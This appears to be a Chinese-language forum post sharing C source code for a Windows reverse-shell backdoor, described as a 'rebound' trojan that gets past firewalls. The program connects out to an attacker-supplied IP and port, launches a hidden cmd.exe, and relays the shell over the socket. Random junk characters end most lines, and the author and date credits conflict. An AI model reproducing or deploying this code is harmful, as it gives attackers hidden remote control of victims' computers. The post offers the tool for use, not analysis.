这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 RR=l&uT
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/* ============================== BZshTP[`
Rebound port in Windows NT j=S"KVp9NF
By wind,2006/7 wJkkc9Rh'(
===============================*/ .utL/1Ej
#include 9E?>B3t^
#include \ y",Qq?
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#pragma comment(lib,"wsock32.lib") &W!@3O{~.
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void OutputShell(); EtGr&\,
SOCKET sClient; o]U==
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]NsaFDi\
z\
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void main(int argc,char **argv) sTyGi1
{ mIodD)?{
WSADATA stWsaData; ~vFo 0k(
int nRet; tH(#nx8
SOCKADDR_IN stSaiClient,stSaiServer; q%9oGYjvQ
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if(argc != 3) V=~dgy~@
{ [?*^&[
printf("Useage:\n\rRebound DestIP DestPort\n"); L 3@wdC~0
return; c= uORt>
} heA\6W:u&
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WSAStartup(MAKEWORD(2,2),&stWsaData); 69yyVu_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `,[c??h
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stSaiClient.sin_family = AF_INET; 5GkM7Zu!{j
stSaiClient.sin_port = htons(0); kGP?Jx\PkH
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w2[R&hJ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wf1DvsJQl
{ DYK|"@
printf("Bind Socket Failed!\n"); Y;>'~V#R
return; -NeF6
} :Ej)AfS
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stSaiServer.sin_family = AF_INET; 1| DI'e[X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); # 95/,k
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q%Pnx_RB
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !
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{ HfPeR8I%i
printf("Connect Error!"); g*M3;G
return; (eP)>G]
} t:7jlD!d
OutputShell(); WgB,,L,
} zu%pr95U
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void OutputShell() dM$S|,H
{ M(f'qFY=K
char szBuff[1024]; QNFrkel
SECURITY_ATTRIBUTES stSecurityAttributes; qc F{Kex"
OSVERSIONINFO stOsversionInfo; GkFNLM5'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; LlJvuQ 28
STARTUPINFO stStartupInfo; d+'+z %s%
char *szShell; z16++LKmM
PROCESS_INFORMATION stProcessInformation; [f}1wZ*
unsigned long lBytesRead; NQ!F`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &IYkeGQr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {5h_$a!TaU
stSecurityAttributes.lpSecurityDescriptor = 0; NYeg,{q
stSecurityAttributes.bInheritHandle = TRUE; ,<7f5qg"'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ):@B1 yR
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); psVRdluS
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v5o%y:~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m/AN*`V
stStartupInfo.wShowWindow = SW_HIDE; FCPbp!q6
stStartupInfo.hStdInput = hReadPipe; /2@@v|QL
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @ 2_&ti
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GetVersionEx(&stOsversionInfo); vI@8DWs
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switch(stOsversionInfo.dwPlatformId) I1,?qr"Zr
{ {ex]_V>
case 1: p
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szShell = "command.com"; ",m5}mk:4
break; xT/&'$@{)
default: r[~$
szShell = "cmd.exe"; y8@!2O4
break; sBwgl9
} cg5DyQ(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mN`a]L'
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send(sClient,szMsg,77,0); DI\sq8J^
while(1) rgCId@R
{ Lnzhs;7L
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;Mz]uk
if(lBytesRead) ilP&ctn6+c
{ 7vFqO;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sMx\WTyz
send(sClient,szBuff,lBytesRead,0); C0M{zGT>}
} ]{hfM
else .+<K-'&=
{ tj3p71%
lBytesRead=recv(sClient,szBuff,1024,0); BG"6jQh
if(lBytesRead<=0) break; R)=<q]Ms
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} e(^O8
} C1J'. !
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return; XV&